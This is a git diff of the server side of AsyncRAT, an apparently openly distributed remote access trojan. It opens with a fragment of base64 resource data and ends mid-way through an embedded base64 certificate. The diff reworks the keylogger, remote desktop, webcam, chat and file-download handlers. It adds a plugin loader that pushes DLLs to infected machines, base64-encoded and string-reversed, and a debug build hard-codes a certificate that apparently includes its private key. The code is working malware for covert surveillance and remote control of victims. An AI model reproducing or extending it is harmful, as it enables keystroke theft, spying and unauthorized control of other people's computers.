Af4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEBAcAEAAEDBgAB/gMAAQ8B/wHABAABAQHg + BAABBwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/AcAEAAEBAeAEAAEHBgAB/gMAAQ8B/wHA + BAABAQHwBAABBwYAAf4DAAEPAf8BwAQAAQMB8AQAAQcGAAH+AwABDwH/AcAEAAEDAfAEAAEHBgAB/gMA + AQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQAAQMB8AQAAQ8GAAH+AwABDwH/AeAEAAEDAfAEAAEP + BgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEPAf8B4AQAAQMB+AQAAR8GAAH+AwABDwH/AeAEAAED + AfgEAAEfBgAB/gMAAQ8B/wHgBAABBwH4BAABHwYAAf4DAAEPAf8B4AQAAQcB/AQAAR8GAAH+AwABDwH/ + AfAEAAEHAfwEAAE/BgAB/gMAAQ8B/wHwBAABBwH8BAABPwYAAf4DAAEPAf8B8AQAAQcB/gQAAT8GAAH+ + AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+BAABPwYAAf4DAAEfAf8B8AQAAQcB/gQA + AX8GAAH+AgABBwL/AfAEAAEHAf4EAAF/BgAB/gEHBP8B8AQAAQcB/wGAAgABAQH/BgAB/gEPBP8B+AQA + AQ8G/wYABv8B/AQAAT8G/wYAEv8GAAs= diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs index 1765746..9926860 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs @@ -42,7 +42,6 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // @@ -119,12 +118,12 @@ } #endregion - private System.Windows.Forms.Timer timer1; private System.Windows.Forms.ToolStrip toolStrip1; private System.Windows.Forms.ToolStripLabel toolStripLabel1; private System.Windows.Forms.ToolStripTextBox toolStripTextBox1; private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; private System.Windows.Forms.ToolStripButton toolStripButton1; public System.Windows.Forms.RichTextBox richTextBox1; + public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs index 1cb791e..e5eba56 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs @@ -36,11 +36,12 @@ namespace Server.Forms private void Keylogger_FormClosed(object sender, FormClosedEventArgs e) { + try + { + Client.Disconnected(); + } + catch { } Sb?.Clear(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "false"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e) diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs index ebe0a62..38b72f5 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs @@ -87,6 +87,7 @@ // this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse; this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.btnMouse.Enabled = false; this.btnMouse.Location = new System.Drawing.Point(550, 3); this.btnMouse.Name = "btnMouse"; this.btnMouse.Size = new System.Drawing.Size(32, 32); @@ -98,6 +99,7 @@ // this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image; this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.btnSave.Enabled = false; this.btnSave.Location = new System.Drawing.Point(455, 3); this.btnSave.Name = "btnSave"; this.btnSave.Size = new System.Drawing.Size(32, 32); @@ -172,8 +174,9 @@ // // button1 // - this.button1.BackgroundImage = global::Server.Properties.Resources.stop__1_; + this.button1.BackgroundImage = global::Server.Properties.Resources.play_button; this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.button1.Enabled = false; this.button1.Location = new System.Drawing.Point(12, 3); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(32, 32); @@ -241,14 +244,14 @@ public System.Windows.Forms.Timer timer1; private System.Windows.Forms.Panel panel1; private System.Windows.Forms.Label label1; - private System.Windows.Forms.Button button1; private System.Windows.Forms.Button button2; public System.Windows.Forms.NumericUpDown numericUpDown1; private System.Windows.Forms.Label label2; public System.Windows.Forms.NumericUpDown numericUpDown2; - private System.Windows.Forms.Button btnSave; private System.Windows.Forms.Timer timerSave; - private System.Windows.Forms.Button btnMouse; public System.Windows.Forms.Label labelWait; + public System.Windows.Forms.Button btnSave; + public System.Windows.Forms.Button btnMouse; + public System.Windows.Forms.Button button1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs index 30a6bee..a894363 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs @@ -71,8 +71,8 @@ namespace Server.Forms { button2.Top = panel1.Bottom + 5; button2.Left = pictureBox1.Width / 2; - button1.Tag = (object)"stop"; - button2.PerformClick(); + button1.Tag = (object)"play"; + //button2.PerformClick(); } catch { } } @@ -83,27 +83,29 @@ namespace Server.Forms { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "capture"; + msgpack.ForcePathObject("Command").AsString = "capture"; msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString()); msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString()); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); - ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); numericUpDown1.Enabled = false; numericUpDown2.Enabled = false; + btnSave.Enabled = true; + btnMouse.Enabled = true; button1.Tag = (object)"stop"; button1.BackgroundImage = Properties.Resources.stop__1_; } else { button1.Tag = (object)"play"; - try - { - Client.Disconnected(); - Client = null; - } - catch { } + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Command").AsString = "stopCapture"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); numericUpDown1.Enabled = true; numericUpDown2.Enabled = true; + btnSave.Enabled = false; + btnMouse.Enabled = false; button1.BackgroundImage = Properties.Resources.play_button; } } @@ -183,7 +185,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "mouseClick"; + msgpack.ForcePathObject("Command").AsString = "mouseClick"; msgpack.ForcePathObject("X").AsInteger = p.X; msgpack.ForcePathObject("Y").AsInteger = p.Y; msgpack.ForcePathObject("Button").AsInteger = button; @@ -208,7 +210,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "mouseClick"; + msgpack.ForcePathObject("Command").AsString = "mouseClick"; msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); msgpack.ForcePathObject("Button").AsInteger = (Int32)(button); @@ -227,7 +229,7 @@ namespace Server.Forms Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height)); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "mouseMove"; + msgpack.ForcePathObject("Command").AsString = "mouseMove"; msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx index 53b21e6..e5b63af 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx @@ -123,9 +123,6 @@ 131, 17 - - 273, 17 - diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs index e2e1304..158b878 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs @@ -15,19 +15,39 @@ namespace Server.Handle_Packet { public HandleChat(MsgPack unpack_msgpack, Clients client) { - FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; - if (chat != null) + switch (unpack_msgpack.ForcePathObject("Command").GetAsString()) { - Console.Beep(); - chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); - chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; - chat.richTextBox1.ScrollToCaret(); - } - else - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + case "started": + { + FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("ID").AsString]; + if (chat != null) + { + chat.Client = client; + chat.timer1.Start(); + chat.textBox1.Enabled = true; + chat.richTextBox1.Enabled = true; + } + break; + } + + case "chat": + { + FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("ID").AsString]; + if (chat != null) + { + Console.Beep(); + chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); + chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; + chat.richTextBox1.ScrollToCaret(); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatExit"; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + break; + } } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs index 71286e9..8c13015 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs @@ -24,9 +24,11 @@ namespace Server.Handle_Packet { case "getDrivers": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString]; if (FM != null) { + FM.Client = client; + FM.listView1.Enabled = true; FM.toolStripStatusLabel1.Text = ""; FM.listView1.Items.Clear(); string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); @@ -50,7 +52,7 @@ namespace Server.Handle_Packet case "getPath": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString]; if (FM != null) { FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString; @@ -105,7 +107,7 @@ namespace Server.Handle_Packet case "error": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString]; if (FM != null) { FM.listView1.Enabled = true; @@ -150,15 +152,17 @@ namespace Server.Handle_Packet FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD != null) { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) - return; - string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); + string filename = Path.Combine(SD.FullPath, unpack_msgpack.ForcePathObject("Name").AsString); + string filemanagerPath = SD.FullPath; + + if (!Directory.Exists(filemanagerPath)) + Directory.CreateDirectory(filemanagerPath); if (File.Exists(filename)) { File.Delete(filename); await Task.Delay(500); } - await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString))); + await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), filename)); SD.Close(); } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs index c34cf36..2e30f71 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs @@ -13,9 +13,11 @@ namespace Server.Handle_Packet { public HandleKeylogger(Clients client, MsgPack unpack_msgpack) { - try + switch (unpack_msgpack.ForcePathObject("Command").AsString) { - FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; + case "logs": + { + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("ID").GetAsString()]; if (KL != null) { KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); @@ -25,14 +27,26 @@ namespace Server.Handle_Packet } else { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "false"; - client.Send(msgpack.Encode2Bytes()); - } + client.Disconnected(); + } + break; + } + case "started": + { + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("ID").GetAsString()]; + if (KL != null) + { + KL.Client = client; + KL.timer1.Start(); + } + else + { + client.Disconnected(); + } + break; + } } - catch { } } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs new file mode 100644 index 0000000..b3e398b --- /dev/null +++ b/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs @@ -0,0 +1,37 @@ +using Server.Connection; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.IO; +using System.Windows.Forms; +using Server.Helper; +using Server.MessagePack; +using Microsoft.VisualBasic; + +namespace Server.Handle_Packet +{ + public class HandlePlugin + { + public HandlePlugin(Clients client, string hash) + { + if (hash.Length == 32 && !hash.Contains("\\")) + { + foreach (string _hash in Directory.GetFiles(Path.Combine(Application.StartupPath, "Plugin"))) + { + if (hash == Methods.GetHash(_hash)) + { + Console.WriteLine("Found: " + hash); + MsgPack msgPack = new MsgPack(); + msgPack.ForcePathObject("Packet").AsString = "plugin"; + msgPack.ForcePathObject("Command").AsString = "install"; + msgPack.ForcePathObject("Hash").AsString = hash; + msgPack.ForcePathObject("Dll").AsString = Strings.StrReverse(Convert.ToBase64String(File.ReadAllBytes(_hash))); + client.Send(msgPack.Encode2Bytes()); + } + } + } + } + } +} diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs index c5fbfbf..28bb6b4 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs @@ -12,6 +12,44 @@ namespace Server.Handle_Packet { public class HandleRemoteDesktop { + public HandleRemoteDesktop(Clients client, MsgPack unpack_msgpack) + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "screens": + { + Debug.WriteLine("I got the screen size"); + ScreenSize(client, unpack_msgpack); + break; + } + + case "capture": + { + Capture(client, unpack_msgpack); + break; + } + } + } + + public void ScreenSize(Clients client, MsgPack unpack_msgpack) + { + FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; + try + { + if (RD.Client == null) + { + RD.Client = client; + int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); + RD.numericUpDown2.Maximum = Screens - 1; + RD.labelWait.Visible = false; + RD.timer1.Start(); + RD.button1.Enabled = true; + RD.button1.Tag = (object)"play"; + RD.button1.PerformClick(); + } + } + catch { } + } public void Capture(Clients client, MsgPack unpack_msgpack) { try @@ -21,21 +59,9 @@ namespace Server.Handle_Packet { if (RD != null) { - if (RD.Client == null) - { - RD.Client = client; - RD.timer1.Start(); - byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); - RD.rdSize = decoded0.Size; - RD.labelWait.Visible = false; - } byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); - int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); - RD.numericUpDown2.Maximum = Screens - 1; - if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) { RD.pictureBox1.Image = decoded; diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs index 961d86a..c89c4c5 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs @@ -49,6 +49,7 @@ namespace Server.Handle_Packet { client.Disconnected(); } + webcam.button1.PerformClick(); } else { diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs index 2b86af3..d042e31 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -86,7 +86,7 @@ namespace Server.Handle_Packet } case "remoteDesktop": { - new HandleRemoteDesktop().Capture(client, unpack_msgpack); + new HandleRemoteDesktop(client, unpack_msgpack); break; } @@ -138,6 +138,12 @@ namespace Server.Handle_Packet new HandleWebcam(unpack_msgpack, client); break; } + + case "plugin": + { + new HandlePlugin(client, unpack_msgpack.ForcePathObject("Hash").AsString); + break; + } } } diff --git a/AsyncRAT-C#/Server/Helper/CreateCertificate.cs b/AsyncRAT-C#/Server/Helper/CreateCertificate.cs index 0d6d09e..61776fd 100644 --- a/AsyncRAT-C#/Server/Helper/CreateCertificate.cs +++ b/AsyncRAT-C#/Server/Helper/CreateCertificate.cs @@ -49,5 +49,12 @@ namespace Server.Helper return certificate2; } + + public static string Export() + { + var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); + var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); + return Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)); + } } } diff --git a/AsyncRAT-C#/Server/Helper/Methods.cs b/AsyncRAT-C#/Server/Helper/Methods.cs index 9840d6b..94e45ac 100644 --- a/AsyncRAT-C#/Server/Helper/Methods.cs +++ b/AsyncRAT-C#/Server/Helper/Methods.cs @@ -1,5 +1,6 @@ using System; using System.IO; +using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; @@ -38,5 +39,16 @@ namespace Server.Helper return randomName.ToString(); } + + public static string GetHash(string strToHash) + { + MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); + byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); + bytesToHash = md5Obj.ComputeHash(bytesToHash); + StringBuilder strResult = new StringBuilder(); + foreach (byte b in bytesToHash) + strResult.Append(b.ToString("x2")); + return strResult.ToString(); + } } } diff --git a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs index 77dd54c..99c1497 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs @@ -290,26 +290,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] PluginCam { - get { - object obj = ResourceManager.GetObject("PluginCam", resourceCulture); - return ((byte[])(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] PluginDesktop { - get { - object obj = ResourceManager.GetObject("PluginDesktop", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Byte[]. /// diff --git a/AsyncRAT-C#/Server/Properties/Resources.resx b/AsyncRAT-C#/Server/Properties/Resources.resx index efbdd7a..1815859 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.resx +++ b/AsyncRAT-C#/Server/Properties/Resources.resx @@ -166,9 +166,6 @@ ..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\PluginCam.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -238,9 +235,6 @@ ..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\PluginDesktop.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\PluginRecovery.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 diff --git a/AsyncRAT-C#/Server/Resources/PluginCam.dll b/AsyncRAT-C#/Server/Resources/PluginCam.dll deleted file mode 100644 index e63a310..0000000 Binary files a/AsyncRAT-C#/Server/Resources/PluginCam.dll and /dev/null differ diff --git a/AsyncRAT-C#/Server/Resources/PluginDesktop.dll b/AsyncRAT-C#/Server/Resources/PluginDesktop.dll deleted file mode 100644 index 3273467..0000000 Binary files a/AsyncRAT-C#/Server/Resources/PluginDesktop.dll and /dev/null differ diff --git a/AsyncRAT-C#/Server/Server.csproj b/AsyncRAT-C#/Server/Server.csproj index 80b58bb..dcb6529 100644 --- a/AsyncRAT-C#/Server/Server.csproj +++ b/AsyncRAT-C#/Server/Server.csproj @@ -180,11 +180,12 @@ FormWebcam.cs - + + @@ -317,12 +318,15 @@ - - - + - + + + + + + diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index f10b06e..5818325 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -14,9 +14,13 @@ namespace Server public static long Sent { get; set; } public static long Received { get; set; } - public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; +#if DEBUG + public static string CertificatePath = "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